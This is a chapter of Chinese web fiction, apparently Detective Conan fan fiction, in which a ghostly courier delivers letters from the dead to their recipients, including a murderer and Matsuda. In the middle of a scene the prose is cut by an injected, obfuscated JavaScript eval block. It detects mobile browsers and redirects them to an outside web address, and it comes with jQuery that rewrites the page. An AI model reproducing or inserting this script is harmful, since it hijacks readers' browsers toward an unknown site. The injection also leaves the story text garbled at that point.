“真的是菊给我写的信。”
某个荒无人烟的海岸,毫无生存念头,正打算跳海殉情的一位老人哭着跪倒在岸边。
冰冷的海浪一下又一下地拍打在他身上,他却只顾护住怀中的信纸不让其被染湿,全然无视了自身的狼狈。
老人恍惚问道:“死后的世界,是什么样的?”
一同站在岸边的月野佑一平淡回答,“不会有你想象中的好。”
海水反复没过他的鞋面,却未能侵蚀其分毫,“自杀的人是会下地狱的。”
闻言老人一个激灵,眼神清明几分。
菊肯定能去天国。
“我要好好活下去……我、我要去天国见她!”
月野佑一余光窥见从远处朝这里跑来的人,轻声开口,“缇艾缇,0913。”
远远瞧见疑似有人要跳海自杀,急匆匆跑过来,正准备来信件里说的海岸边打捞上岛晃尸体的大森英二喘了几口气,第一时间上前扶人,“唉,大冬天的,老人家,你不冷吗?”
刚才这里好像不止一个人。
大森英二目光落在老人怀中的几页信纸上,眸光轻闪,脱下自己的外套给他披上,“先去暖和的地方吧,这把年纪要是生病,可有你受罪的。”
“风见,快过来搭把手。”
跟着从大老远地方跑过来,气都没喘匀的风见裕也身体比脑子先行动了起来,上前帮忙扶人。
见状大森英二摇头,“风见,我的年纪都能当你爸了,你怎么体力还不如我。”
“另一个后辈就不会这样。”他拿出对照组,试图激励对方,“难道一岁的差距会有这么大?”
成功被刺激到的风见裕也深吸口气,平复好呼吸,“回去后我会加训的。”
这个后辈究竟是谁!
……
不需要带半长发实习生的一天过得很快。
隔天,月野佑一让萩原研二自行选择送信时间是想在上午还是下午。
萩原研二尝试开辟第三个选项,“有晚上的吗?”
“不知道。”
于是萩原研二一副老实听话的模样,“我随前辈安排。”
在写信人尚未出现前,即便是送信使也无从得知对方何时死亡,会是什么身份,月野佑一干脆道:“那就选下一位。”
是真的让自己随便选的意思啊,萩原研二略微失望,还以为会有上岛晃那样的情况。
“前辈说过写信人不分好坏,那收信人呢,会有杀人的罪犯收到信吗?”
“当然。”月野佑一并未隐瞒,“死后文同样不分好坏,只有送达和停止的区别。”
不知联想到什么,萩原研二微不可察地蹙了下眉。
没有在意他的反应,月野佑一看向出现电子信封提醒的手杖,朝新的写信人走去。
新的写信人是位年轻女性,穿着西点师的制服,身体完整,裸露在外的皮肤隐约浮现紫红色的尸斑,唇边有白沫。
“我要写给杀死我的凶手!”她的眼底充满恨意,“该死的是那个家伙才对,我要诅咒他!”
带着新鲜出炉,十分遗憾并不能诅咒到收信对象的信封,月野佑一和萩原研二来到了收信对象的所在地。
Dawn几个花体字母高高悬挂在建筑物上方,干净明亮的玻璃墙内,着装优雅的食客们三三两两坐在一起,享用造型漂亮但不知味道如何的餐食。
看食客们的表情,味道应当是不错的。
远远望着来往食客络绎不绝的高档餐厅,萩原研二等着旁边的前辈灵体化,好和他一起进入餐厅后厨。
“以前带我的前辈通常就会直接进去。”
月野佑一突然开口,“她所负责的区域里,曾经有一所学校遭遇劫匪持枪威胁,特警们围在校外,收信人恰巧是劫匪挟持的一整个班级中的其中一位同学,前辈直接进班级送信了。”「注1」
“……?”萩原研二欲言又止,“让一整个班级的人都目击到了送信使送信的场面,真的没问题?”
“两三年前的事了,我没听说她因此受到什么惩罚。目前为止,前辈仍在她负责的区域里好好工作。”
停顿片刻,月野佑一话锋一转,“但我个人是不太支持这么做的,萩原先生。”
“是因为让死后文送信使的都市传说变得更加深入人心了,所以才没被惩罚的?”萩原研二若有所思。
月野佑一模棱两可,“或许吧。”
看来只要不牵涉到生死问题,“彼世和现世不可过度互相影响”的这条规则还是有活动空间的。
如果是蝴蝶效应造成的生死问题呢?萩原研二不着痕迹看了眼手杖,没有把这个问题问出口,“前辈放心吧,我是灵体化党!”
他根本没在操心,这家伙又在胡乱说什么鬼话。月野佑一把自己灵体化,“走了。”
由于近些天刚被评为米其林三星,许多食客闻风而来,Dawn餐厅的后厨简直忙得不可开交。
换班间隙,身体疲劳的几位员工瘫坐在椅子上,嘴巴却不得闲。
“川口还联系不上?好几款招牌西点没办法做,客人都要投诉了。明明是她造成的,挨骂的反而是我们。”
“领班刚才抽空出发去她家了,估计又睡死过去了吧。”
几名员工抱怨几句,其中一人忽然压低嗓音,“上岛氏株式会社的新闻你们有看到吗,连公安都出动了!公司社长失踪,估计携款跑路了吧。”
“上岛领班前不久还在炫耀他的儿子……”
“嘘!小心被井上经理听见扣你工资。”
“哈哈哈,谁会怕那女人。”说完这句话,男人站起身,“还有时间,我出去抽根烟。”
“你好。”
在吸烟室抽烟的男人吓一跳,“谁?!”
“请问你是杀死川口爱子的凶手,堂下泉吗?”
“什么凶手!”堂下泉瞪着眼前不知从哪冒出来的人,“你有证据吗,不要胡乱污蔑人!”
走流程自我介绍完身份,月野佑一朝他递出信封。
“有时间搞恶作剧,没时间来上班。”堂下泉一把夺过信封,动作急躁地拆开,像是想戳破他的谎言,“死后文?又在整什么花样……那女人能写什么好东西给我。”
信纸展开,一行行写满了整张信纸的血红色字体出现在他眼中。
字体并不规整,像是在流血。
【下地狱吧下地狱吧下地狱吧下地狱吧下地狱吧下地狱吧下地狱吧下地狱吧下地狱吧下地狱吧】
“啊!!”
猝不及防的堂下泉一惊,跌坐在地,信纸从他手中飘飘扬扬落到地上。
“咚咚咚——”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288128|198463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“堂下泉先生?”
勉强从地上爬起身,堂下泉顾不上细究自称送信使的人是何时不见的,匆忙把信纸塞进口袋,色厉内荏地扬声询问,“谁!”
“我是东京警视厅搜查一课强行犯搜查三系的警察,目暮十三。”
吸烟室的门打开,穿着棕褐色风衣的胖胖警官出现在门外,他举起手里的警察证,“川口爱子死了,根据她的手机通讯记录,你暂时被列为嫌疑人之一,希望你能配合我们调查。”
他打量开门的人,“你的脸色似乎不太好,发生什么事了?”
“没什么,低血糖。”堂下泉囫囵找了个理由,只想赶紧和人接触,好驱散看完信后带来的丝丝恐惧,“我、我会配合的。”
几分钟后,载着嫌疑人的警车在餐厅老板的请求下离开了餐厅,前往警视厅,并未给餐厅生意造成太大影响。
见到生前熟悉的人,萩原研二不自觉轻吐出一口气,好似在叹息,“是目暮警官啊。堂下泉吓成那样,这起案子应该很快就能破了。”
解除灵体化的月野佑一睨他一眼,不对此发表评价。
新的引擎声逐渐靠近,一辆车身绘有机动队标识的车从餐厅前的马路上驶过,眨眼消失在街道拐角。
是收队回警视厅的爆处班。
随着车辆渐渐远去,萩原研二变得安静下来。
站在餐厅外面的空地上,两鬼谁也没说话。
“……”月野佑一再次提起他们都清楚的地狱常识,“彼世和现世不可过度互相影响。”
闻言萩原研二安静转动脑袋朝向他。
月野佑一没有去看人,补充并举例道:“但去便利店购买商品、以自己的名号参与抽奖活动、去某个景点游玩、打临时工等都是可以的。”
萩原研二神情微动,随后不自觉看向马路。
“禁止的是利用普通人无法看见的亡者身份进行偷盗、左右抽奖结果,逃票这类行为。”
月野佑一跟着望向从对向车道飞速开回来的车,想灵体化,内心挣扎几秒后,握紧手杖忍住了,“至于打工,我个人不建议亡者和生者结缘。”
地狱里的鬼通常都不会有现世的金钱,偶尔嘴馋想买个东西什么的,能够日结工资,不会给老板留下深刻印象的临时工是最好的选择。
萩原研二张嘴,留意到朝他们所在方向飞奔而来的人,又立即闭上了。
“真的是你!”
在车上无意间发现熟悉的身影,差点以为是幻觉的松田阵平紧紧抓住月野佑一的胳膊,生怕人跑掉似的,“你今天来这里送信?”
“是的。”月野佑一站在原地,没有挣开胳膊上那只手,也没有再回答更多。
“炸弹犯没有抓住啊……”萩原研二注视着穿机动队制服的幼驯染,轻声抱怨,又有种预料之中的感觉,“真是的,写了那么多话,小阵平压根没听。”
变憔悴了好多,这让他如何能放下心。
“我……”
眼底青黑的松田阵平见送信使静静看着自己,一时间不知该说什么,嘴唇张合几次,最终道,“死后的世界,是什么样的?”
萩原研二连忙出声,“前辈,先别跟小阵平说我的情况。”
左边站着鬼,右边站着人,被围在中间的月野佑一:“。”
啧。